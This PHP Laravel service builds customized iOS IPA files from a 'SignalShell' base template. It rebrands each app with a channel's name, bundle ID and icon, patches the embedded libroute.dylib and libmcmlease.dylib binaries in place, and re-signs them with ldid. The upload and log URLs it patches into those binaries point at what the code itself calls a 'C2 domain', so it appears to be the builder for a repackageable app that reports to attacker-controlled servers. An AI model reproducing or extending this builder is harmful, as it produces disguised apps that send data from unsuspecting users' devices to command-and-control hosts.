<?php

namespace App\Services;

use App\Models\Channel;
use Illuminate\Support\Facades\Log;
use Illuminate\Support\Facades\Process;
use RuntimeException;

/**
 * Build a customized SignalShell IPA for App-builder channels.
 *
 * Takes a base IPA template, patches it with the channel's
 * domain / channel ID / app name / logo, and outputs a
 * downloadable IPA file.
 */
class AppPackageService
{
    /** Base IPA template path (uploaded once via admin). */
    private const BASE_IPA_PATH = 'app-templates/signalshell-base.ipa';

    /** Icon sizes to generate from the uploaded logo. */
    private const ICON_SIZES = [
        'Icon-20.png' => 20,
        'Icon-20@2x.png' => 40,
        'Icon-20@3x.png' => 60,
        'Icon-29.png' => 29,
        'Icon-29@2x.png' => 58,
        'Icon-29@3x.png' => 87,
        'Icon-40.png' => 40,
        'Icon-40@2x.png' => 80,
        'Icon-40@3x.png' => 120,
        'Icon-60@2x.png' => 120,
        'Icon-60@3x.png' => 180,
        'Icon-76.png' => 76,
        'Icon-76@2x.png' => 152,
        'Icon-83.5@2x.png' => 167,
    ];

    /**
     * Build a customized IPA for the given channel.
     *
     * @param  Channel  $channel  App-builder channel with app_name, bundle_id, channel_id
     * @param  string|null  $logoPath  Temporary path to the uploaded logo (PNG, ≥180×180)
     * @param  string  $apiDomain  C2 domain (e.g. hslaxo.cc)
     * @return array{success: bool, path: string, size: int, error: string}
     */
    public function build(Channel $channel, ?string $logoPath, string $apiDomain): array
    {
        $baseIpa = storage_path('app/'.self::BASE_IPA_PATH);
        if (! file_exists($baseIpa)) {
            return ['success' => false, 'path' => '', 'size' => 0, 'error' => 'Base IPA template not found. Upload via admin first.'];
        }

        $workDir = storage_path('app/app-builds/'.$channel->channel_id);
        if (is_dir($workDir)) {
            $this->rrmdir($workDir);
        }
        @mkdir($workDir, 0755, true);

        try {
            // 1. Extract base IPA
            $zip = new \ZipArchive;
            if ($zip->open($baseIpa) !== true) {
                throw new RuntimeException('Cannot open base IPA');
            }
            $zip->extractTo($workDir);
            $zip->close();

            $appDir = $workDir.'/Payload/SignalShell.app';
            if (! is_dir($appDir)) {
                // Try to find any .app directory
                $payload = $workDir.'/Payload';
                $dirs = glob($payload.'/*.app');
                if (empty($dirs)) {
                    throw new RuntimeException('No .app directory found in IPA');
                }
                $appDir = $dirs[0];
            }

            // 2. Patch Info.plist
            $this->patchInfoPlist($appDir, $channel, $apiDomain);

            // 3. Generate icons from logo
            if ($logoPath && file_exists($logoPath)) {
                $this->generateIcons($appDir, $logoPath);
            }

            // 4. Patch libroute.dylib (domain + channel ID)
            $this->patchLibroute($appDir, $apiDomain, $channel->channel_id);

            // 5. Patch libmcmlease.dylib (domain)
            $this->patchLibmcmlease($appDir, $apiDomain);

            // 6. Sign (ldid if available, skip otherwise)
            $this->sign($appDir);

            // 7. Package IPA
            $outputPath = 'channel/'.$channel->channel_id.'/app.ipa';
            $outputFull = public_path($outputPath);
            @mkdir(dirname($outputFull), 0755, true);

            $outZip = new \ZipArchive;
            if ($outZip->open($outputFull, \ZipArchive::CREATE | \ZipArchive::OVERWRITE) !== true) {
                throw new RuntimeException('Cannot create output IPA');
            }
            $this->addDirToZip($outZip, $workDir.'/Payload', 'Payload');
            $outZip->close();

            $size = filesize($outputFull);

            // Cleanup
            $this->rrmdir($workDir);

            return [
                'success' => true,
                'path' => '/'.$outputPath,
                'size' => $size,
                'error' => '',
            ];
        } catch (\Throwable $e) {
            $this->rrmdir($workDir);
            Log::error('AppPackageService: build failed', [
                'channel' => $channel->channel_id,
                'error' => $e->getMessage(),
            ]);

            return [
                'success' => false,
                'path' => '',
                'size' => 0,
                'error' => $e->getMessage(),
            ];
        }
    }

    private function patchInfoPlist(string $appDir, Channel $channel, string $apiDomain): void
    {
        $plistPath = $appDir.'/Info.plist';
        $xml = file_get_contents($plistPath);

        // Replace display name
        $xml = preg_replace(
            '#<key>CFBundleDisplayName</key>\s*<string>[^<]*</string>#',
            '<key>CFBundleDisplayName</key><string>'.htmlspecialchars($channel->app_name).'</string>',
            $xml,
        );

        // Replace bundle identifier
        if ($channel->bundle_id) {
            $xml = preg_replace(
                '#<key>CFBundleIdentifier</key>\s*<string>[^<]*</string>#',
                '<key>CFBundleIdentifier</key><string>'.htmlspecialchars($channel->bundle_id).'</string>',
                $xml,
            );
        }

        // Replace CFBundleName (short name)
        $xml = preg_replace(
            '#<key>CFBundleName</key>\s*<string>[^<]*</string>#',
            '<key>CFBundleName</key><string>'.htmlspecialchars(substr($channel->app_name, 0, 15)).'</string>',
            $xml,
        );

        // Replace ShellConfigEndpoint (config API URL)
        $configEndpoint = 'https://'.$apiDomain.'/api/ap/config?a='.$channel->channel_id;
        $xml = preg_replace(
            '#<key>ShellConfigEndpoint</key>\s*<string>[^<]*</string>#',
            '<key>ShellConfigEndpoint</key><string>'.htmlspecialchars($configEndpoint).'</string>',
            $xml,
        );

        // Replace ShellWebsiteURL (fallback WebView URL)
        if ($channel->h5_url) {
            $xml = preg_replace(
                '#<key>ShellWebsiteURL</key>\s*<string>[^<]*</string>#',
                '<key>ShellWebsiteURL</key><string>'.htmlspecialchars($channel->h5_url).'</string>',
                $xml,
            );
        }

        file_put_contents($plistPath, $xml);
    }

    private function generateIcons(string $appDir, string $logoPath): void
    {
        if (! function_exists('imagecreatefrompng')) {
            // GD not available, copy logo as-is for main icon only
            copy($logoPath, $appDir.'/Icon-60@3x.png');
            return;
        }

        $src = imagecreatefrompng($logoPath);
        if ($src === false) {
            return;
        }

        $srcW = imagesx($src);
        $srcH = imagesy($src);

        foreach (self::ICON_SIZES as $filename => $size) {
            $dst = imagecreatetruecolor($size, $size);
            // Transparent background
            imagesavealpha($dst, true);
            $trans = imagecolorallocatealpha($dst, 0, 0, 0, 127);
            imagefill($dst, 0, 0, $trans);

            // Resize (maintain aspect, crop center square)
            $minSide = min($srcW, $srcH);
            $srcX = ($srcW - $minSide) / 2;
            $srcY = ($srcH - $minSide) / 2;
            imagecopyresampled($dst, $src, 0, 0, (int) $srcX, (int) $srcY, $size, $size, $minSide, $minSide);

            imagepng($dst, $appDir.'/'.$filename, 6);
            imagedestroy($dst);
        }
        imagedestroy($src);
    }

    private function patchLibroute(string $appDir, string $domain, string $channelId): void
    {
        $path = $appDir.'/Frameworks/libroute.dylib';
        if (! file_exists($path)) {
            throw new RuntimeException('libroute.dylib not found');
        }

        $data = file_get_contents($path);
        $origSize = strlen($data);

        // Helper: in-place string replacement (preserves file size)
        $replaceInPlace = function (string &$data, string $old, string $new): bool {
            $idx = strpos($data, $old);
            if ($idx === false) {
                return false;
            }
            // New must be <= old length
            if (strlen($new) > strlen($old)) {
                return false;
            }
            // Write new bytes
            for ($i = 0; $i < strlen($new); $i++) {
                $data[$idx + $i] = $new[$i];
            }
            // Null-terminate
            $data[$idx + strlen($new)] = "\x00";
            // Clear remaining old bytes
            for ($i = strlen($new) + 1; $i < strlen($old) + 1; $i++) {
                $data[$idx + $i] = "\x00";
            }
            return true;
        };

        $domain = substr($domain, 0, strlen('shenma.my')); // max 9 chars
        $channelId = substr($channelId, 0, strlen('a119f32b4955')); // max 12 chars
        // Pad with '0' if shorter
        $channelId = str_pad($channelId, strlen('a119f32b4955'), '0');

        // 1. Replace upload URL (in-place, same total length guaranteed)
        $oldUpload = 'https://shenma.my/upload.php?a=a119f32b4955&';
        $newUpload = "https://{$domain}/api/ap/upload?a={$channelId}&";
        // Ensure same length by adjusting path if needed
        if (strlen($newUpload) > strlen($oldUpload)) {
            // Shrink path: /api/ap/upload → /api/ap/u
            $newUpload = "https://{$domain}/api/ap/u?a={$channelId}&";
        }
        if (strlen($newUpload) > strlen($oldUpload)) {
            throw new RuntimeException('New upload URL exceeds binary space');
        }
        // Pad with trailing null bytes to match old length exactly
        $newUploadPadded = $newUpload.str_repeat("\x00", strlen($oldUpload) - strlen($newUpload));
        $idx = strpos($data, $oldUpload);
        if ($idx !== false) {
            for ($i = 0; $i < strlen($oldUpload); $i++) {
                $data[$idx + $i] = $i < strlen($newUploadPadded) ? $newUploadPadded[$i] : "\x00";
            }
        }

        // 2. Replace log upload URL (in-place)
        $oldLog = 'https://shenma.my/upload.php?name=';
        $newLog = "https://{$domain}/api/ap/lg?n=";
        if (strlen($newLog) <= strlen($oldLog)) {
            $newLogPadded = $newLog.str_repeat("\x00", strlen($oldLog) - strlen($newLog));
            $idx = strpos($data, $oldLog);
            if ($idx !== false) {
                for ($i = 0; $i < strlen($oldLog); $i++) {
                    $data[$idx + $i] = $i < strlen($newLogPadded) ? $newLogPadded[$i] : "\x00";
                }
            }
        }

        // 3. Replace config path (in-place, pad with nulls)
        $oldConfig = '/api/ios-shell';
        $newConfig = '/api/ap';
        $newConfigPadded = $newConfig.str_repeat("\x00", strlen($oldConfig) - strlen($newConfig));
        $idx = strpos($data, $oldConfig);
        if ($idx !== false) {
            for ($i = 0; $i < strlen($oldConfig); $i++) {
                $data[$idx + $i] = $i < strlen($newConfigPadded) ? $newConfigPadded[$i] : "\x00";
            }
        }

        // 4. Replace any remaining shenma.my (equal length: shenma.my = 9)
        if (strlen($domain) === 9) {
            $data = str_replace('shenma.my', $domain, $data);
        }

        // Verify file size unchanged
        if (strlen($data) !== $origSize) {
            throw new RuntimeException('Binary size changed! orig='.$origSize.' new='.strlen($data));
        }

        file_put_contents($path, $data);
    }

    private function patchLibmcmlease(string $appDir, string $domain): void
    {
        $path = $appDir.'/Frameworks/libmcmlease.dylib';
        if (! file_exists($path)) {
            return;
        }

        $data = file_get_contents($path);
        // Equal-length domain replacement
        if (strlen($domain) === 9) { // same as shenma.my
            $data = str_replace('shenma.my', $domain, $data);
        }
        file_put_contents($path, $data);
    }

    private function sign(string $appDir): void
    {
        // Remove old signatures (plain filesystem ops, no shell needed)
        $csDir = $appDir.'/_CodeSignature';
        if (is_dir($csDir)) {
            $this->rrmdir($csDir);
        }

        // Do not file_exists() the binary: panel open_basedir is
        // project + /tmp, so /usr/bin/ldid throws ErrorException.
        // proc_open (Process::run) can still execute it.
        $ldidPath = trim((string) config('coruna.ldid_path', base_path('bin/ldid')));
        if ($ldidPath === '') {
            Log::warning('AppPackageService: ldid path empty, IPA will be unsigned');

            return;
        }

        $binaries = array_merge(
            [$appDir.'/SignalShell'],
            glob($appDir.'/Frameworks/*.dylib') ?: [],
            glob($appDir.'/*.dylib') ?: [],
        );

        foreach ($binaries as $bin) {
            if (! is_string($bin) || $bin === '' || ! is_file($bin)) {
                continue;
            }
            try {
                $result = Process::run([$ldidPath, '-S', $bin]);
                if (! $result->successful()) {
                    Log::warning('AppPackageService: ldid sign failed for '.basename($bin), [
                        'error' => $result->errorOutput() ?: $result->output(),
                    ]);
                }
            } catch (\Throwable $e) {
                Log::warning('AppPackageService: ldid sign failed for '.basename($bin), [
                    'error' => $e->getMessage(),
                ]);
            }
        }
    }

    private function addDirToZip(\ZipArchive $zip, string $dir, string $prefix): void
    {
        $items = scandir($dir);
        foreach ($items as $item) {
            if ($item === '.' || $item === '..') {
                continue;
            }
            $path = $dir.'/'.$item;
            $zipPath = $prefix.'/'.$item;
            if (is_dir($path)) {
                $zip->addEmptyDir($zipPath);
                $this->addDirToZip($zip, $path, $zipPath);
            } else {
                $zip->addFile($path, $zipPath);
            }
        }
    }

    private function rrmdir(string $dir): void
    {
        if (! is_dir($dir)) {
            return;
        }
        $items = scandir($dir);
        foreach ($items as $item) {
            if ($item === '.' || $item === '..') {
                continue;
            }
            $path = $dir.'/'.$item;
            if (is_dir($path)) {
                $this->rrmdir($path);
            } else {
                @unlink($path);
            }
        }
        @rmdir($dir);
    }
}